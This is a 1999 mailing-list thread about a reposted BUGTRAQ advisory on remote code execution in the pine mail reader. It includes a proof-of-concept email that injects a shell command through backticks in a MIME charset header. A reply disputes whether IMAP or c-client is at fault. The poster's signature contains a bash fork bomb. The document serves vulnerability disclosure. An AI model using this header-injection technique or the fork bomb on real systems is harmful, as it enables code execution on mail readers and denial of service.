Subject: Linux Today: Remote exploit for pine available

From: "C. J. Keist" <[email-masked]>
Date: Tue, 09 Feb 1999 08:57:09 -0700

Is the following page stating a true fact about PINE?

http://linuxtoday.com/stories/2944.html
-- 
C. J. Keist                     Email: [email-masked]
UNIX/Network Manager            Phone: 970-491-0630
Engineering Network Services    Fax:   970-491-2465
College of Engineering, CSU
Ft. Collins, CO 80523-1301

[ headlines |
features |
commercial |
security |
contribute |
advertise |
search |
site digests |
mailing lists |
about us |
link us ]

Remote exploit for pine available
Feb 8th, 23:20:31

Michal Zalewski posts to BUGTRAQ:

Affected systems:
-----------------

Any Un*x system running 'pine' up to version 4.10 (latest).

Compromise:
-----------

Remote execution of arbitrary code when message is viewed.

Details:
--------

About five months ago, I reported vunerability in metamail package used
with pine. I also noticed that '`' character is incorrectly expanded by
pine. Problem has been ignored (probably noone understood what I am
talking about?;-). But no matter. An exception from /etc/mailcap:

text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
'[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput

Impact:
-------

And now, ladies and gentelmen - my old bug, reinvented. Usually, above
mailcap line is expanded to:

[...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
'[a-z]'`" = iso-8859-1)

Hmm, but take a look at this message:

************************** MIME MESSAGE FOLLOWS **************************
From: Attacker <[email-masked]>
To: Victim <[email-masked]>
Subject: Happy birthday
...
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset='US-ASCII'

Make a wish...

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
Content-Transfer-Encoding: BASE64
Content-Description: wish
Content-Disposition: attachment; filename="wish.c"

...it could be your last.
*************************** MIME MESSAGE ENDS ***************************

The result is:

[...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
'[A-Z]' '[a-z]'`" = iso-8859-1)

...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
executed when message is viewed.

Fix:
----

Well, it's the second time I report problems with ` in headers.
Maybe pine developers should wait a little longer ;-)

___________________________________________________________________
Michal Zalewski [[email-masked]] [ENSI / marchew] [dione.ids.pl SYSADM]
[lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

Mail this story
Printer version

Return to today's headlines.Comments from readers:   (Read all comments on one page.)

Post your comments using the form below.

Your Name:

Your Email Address:
(Set cookie)
Subject:

Comments:

or

[ Return to Today's Headlines | Top of Story ]
All times are recorded in CST.
Copyright © 1999 by Linux Today ([email-masked])
Linux is a trademark of Linus Torvalds.

---

From: Mark Crispin <[email-masked]>
Date: Tue, 9 Feb 1999 09:03:38 -0800 (PST)

> http://linuxtoday.com/stories/2944.html

It's a "true fact" if you believe in the following logic:
	Joe is a criminal.
	Joe is a man.
	Therefore, men are criminals.

It is not a c-client or IMAP issue at all.  It is a Pine and mailcap issue.
There is no code in c-client or IMAP that is in any way associated with this
issue.  If you wish to continue discussion, do so on [email-masked]
and not to the IMAP or c-client lists.

Here is what I know about the issue:

Pine follows the mailcap RFC strictly.  The actual problem is that the most
commonly used mailcap file (as written by Bellcore) itself is insecure.  As
usual, certain "security experts" are long on the hyperbole and short on
analysis.  At least one proposed "patch" does not, in fact, close the
loophole; it just moves it down to an additional level of nesting.

We are discussing a facility in Pine to warn about possibly insecure mailcap
calls and/or deny them entirely.  It'll probably be a user-controlled switch.

*BEGIN ATTEMPT AT FLAME-PREVENTION*
This particular issue isn't my department.  I'll be happy to answer questions
about what's being done, but there's no point in lobbying me over it since I'm
not the programmer in charge of that code.